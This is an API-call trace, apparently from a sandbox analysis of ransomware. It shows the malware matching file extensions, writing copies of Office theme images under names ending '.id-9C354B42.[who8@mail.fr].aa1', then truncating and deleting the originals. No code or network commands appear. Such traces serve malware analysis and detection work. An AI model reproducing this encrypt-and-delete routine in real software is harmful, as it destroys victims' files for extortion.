[0220.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0220.912] lstrlenW (lpString=".docx") returned 5 [0220.912] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0220.912] lstrlenW (lpString=".pdf") returned 4 [0220.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0220.912] lstrlenW (lpString=".xls") returned 4 [0220.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0220.912] lstrlenW (lpString=".xlsx") returned 5 [0220.912] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0220.912] lstrlenW (lpString=".ppt") returned 4 [0220.912] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0220.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.912] lstrlenW (lpString=".zip") returned 4 [0220.912] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0220.912] lstrlenW (lpString=".rar") returned 4 [0220.912] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0220.912] lstrlenW (lpString=".bz2") returned 4 [0220.912] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0220.912] lstrlenW (lpString=".7z") returned 3 [0220.912] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0220.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.912] lstrlenW (lpString=".dbf") returned 4 [0220.912] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0220.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.913] lstrlenW (lpString=".1cd") returned 4 [0220.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0220.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.913] lstrlenW (lpString=".jpg") returned 4 [0220.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0220.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.913] lstrlenW (lpString=".doc") returned 4 [0220.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0220.913] lstrlenW (lpString=".docx") returned 5 [0220.913] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0220.913] lstrlenW (lpString=".pdf") returned 4 [0220.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0220.913] lstrlenW (lpString=".xls") returned 4 [0220.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0220.913] lstrlenW (lpString=".xlsx") returned 5 [0220.913] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0220.913] lstrlenW (lpString=".ppt") returned 4 [0220.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0220.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.913] lstrlenW (lpString=".zip") returned 4 [0220.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0220.913] lstrlenW (lpString=".rar") returned 4 [0220.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0220.913] lstrlenW (lpString=".bz2") returned 4 [0220.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0220.913] lstrlenW (lpString=".7z") returned 3 [0220.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0220.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.913] lstrlenW (lpString=".dbf") returned 4 [0220.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0220.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.914] lstrlenW (lpString=".1cd") returned 4 [0220.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0220.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0220.914] lstrlenW (lpString=".jpg") returned 4 [0220.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0220.914] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0220.914] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0220.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0220.916] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=43276) returned 1 [0220.916] CloseHandle (hObject=0x170) returned 1 [0220.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0220.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0220.916] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.916] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0220.917] GetLastError () returned 0x0 [0220.917] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xa90c, lpOverlapped=0x0) returned 1 [0221.045] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xa910, lpOverlapped=0x0) returned 1 [0221.047] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.047] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.047] SetEndOfFile (hFile=0x210) returned 1 [0221.047] CloseHandle (hObject=0x210) returned 1 [0221.047] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.047] SetEndOfFile (hFile=0x170) returned 1 [0221.098] CloseHandle (hObject=0x170) returned 1 [0221.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.099] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0221.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.100] lstrlenW (lpString=".doc") returned 4 [0221.100] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.100] lstrlenW (lpString=".docx") returned 5 [0221.100] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.100] lstrlenW (lpString=".pdf") returned 4 [0221.100] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.100] lstrlenW (lpString=".xls") returned 4 [0221.100] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.100] lstrlenW (lpString=".xlsx") returned 5 [0221.100] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.100] lstrlenW (lpString=".ppt") returned 4 [0221.100] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.100] lstrlenW (lpString=".zip") returned 4 [0221.100] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.100] lstrlenW (lpString=".rar") returned 4 [0221.100] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.100] lstrlenW (lpString=".bz2") returned 4 [0221.100] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.100] lstrlenW (lpString=".7z") returned 3 [0221.100] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.100] lstrlenW (lpString=".dbf") returned 4 [0221.101] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.101] lstrlenW (lpString=".1cd") returned 4 [0221.101] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.101] lstrlenW (lpString=".jpg") returned 4 [0221.101] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.101] lstrlenW (lpString=".doc") returned 4 [0221.101] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.101] lstrlenW (lpString=".docx") returned 5 [0221.101] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.101] lstrlenW (lpString=".pdf") returned 4 [0221.101] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.101] lstrlenW (lpString=".xls") returned 4 [0221.101] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.101] lstrlenW (lpString=".xlsx") returned 5 [0221.101] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.101] lstrlenW (lpString=".ppt") returned 4 [0221.101] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.101] lstrlenW (lpString=".zip") returned 4 [0221.101] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.102] lstrlenW (lpString=".rar") returned 4 [0221.102] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.102] lstrlenW (lpString=".bz2") returned 4 [0221.102] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.102] lstrlenW (lpString=".7z") returned 3 [0221.102] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.102] lstrlenW (lpString=".dbf") returned 4 [0221.102] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.102] lstrlenW (lpString=".1cd") returned 4 [0221.102] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0221.102] lstrlenW (lpString=".jpg") returned 4 [0221.102] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.102] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.102] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.522] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2044) returned 1 [0221.522] CloseHandle (hObject=0x17c) returned 1 [0221.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0221.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.522] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.522] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.598] GetLastError () returned 0x0 [0221.598] ReadFile (in: hFile=0x17c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x7fc, lpOverlapped=0x0) returned 1 [0221.620] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x800, lpOverlapped=0x0) returned 1 [0221.629] ReadFile (in: hFile=0x17c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.629] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.629] SetEndOfFile (hFile=0x218) returned 1 [0221.629] CloseHandle (hObject=0x218) returned 1 [0221.629] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.629] SetEndOfFile (hFile=0x17c) returned 1 [0221.630] CloseHandle (hObject=0x17c) returned 1 [0221.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.630] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0221.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.631] lstrlenW (lpString=".doc") returned 4 [0221.631] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.631] lstrlenW (lpString=".docx") returned 5 [0221.631] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.631] lstrlenW (lpString=".pdf") returned 4 [0221.631] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.631] lstrlenW (lpString=".xls") returned 4 [0221.631] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.631] lstrlenW (lpString=".xlsx") returned 5 [0221.631] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.631] lstrlenW (lpString=".ppt") returned 4 [0221.631] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.631] lstrlenW (lpString=".zip") returned 4 [0221.631] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.631] lstrlenW (lpString=".rar") returned 4 [0221.631] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.631] lstrlenW (lpString=".bz2") returned 4 [0221.631] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.631] lstrlenW (lpString=".7z") returned 3 [0221.631] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.631] lstrlenW (lpString=".dbf") returned 4 [0221.631] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.631] lstrlenW (lpString=".1cd") returned 4 [0221.631] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.631] lstrlenW (lpString=".jpg") returned 4 [0221.631] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.631] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.632] lstrlenW (lpString=".doc") returned 4 [0221.632] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.632] lstrlenW (lpString=".docx") returned 5 [0221.632] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.632] lstrlenW (lpString=".pdf") returned 4 [0221.632] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.632] lstrlenW (lpString=".xls") returned 4 [0221.632] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.632] lstrlenW (lpString=".xlsx") returned 5 [0221.632] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.632] lstrlenW (lpString=".ppt") returned 4 [0221.632] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.632] lstrlenW (lpString=".zip") returned 4 [0221.632] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.632] lstrlenW (lpString=".rar") returned 4 [0221.632] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.632] lstrlenW (lpString=".bz2") returned 4 [0221.632] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.632] lstrlenW (lpString=".7z") returned 3 [0221.632] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.632] lstrlenW (lpString=".dbf") returned 4 [0221.632] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.632] lstrlenW (lpString=".1cd") returned 4 [0221.632] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.632] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0221.632] lstrlenW (lpString=".jpg") returned 4 [0221.632] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.633] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.633] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.633] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=28595) returned 1 [0221.633] CloseHandle (hObject=0x17c) returned 1 [0221.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0221.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0221.633] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.633] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0221.634] GetLastError () returned 0x0 [0221.634] ReadFile (in: hFile=0x17c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0221.735] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0221.736] ReadFile (in: hFile=0x17c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.736] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.736] SetEndOfFile (hFile=0x218) returned 1 [0221.736] CloseHandle (hObject=0x218) returned 1 [0221.737] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.737] SetEndOfFile (hFile=0x17c) returned 1 [0221.737] CloseHandle (hObject=0x17c) returned 1 [0221.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.738] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0221.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0221.738] 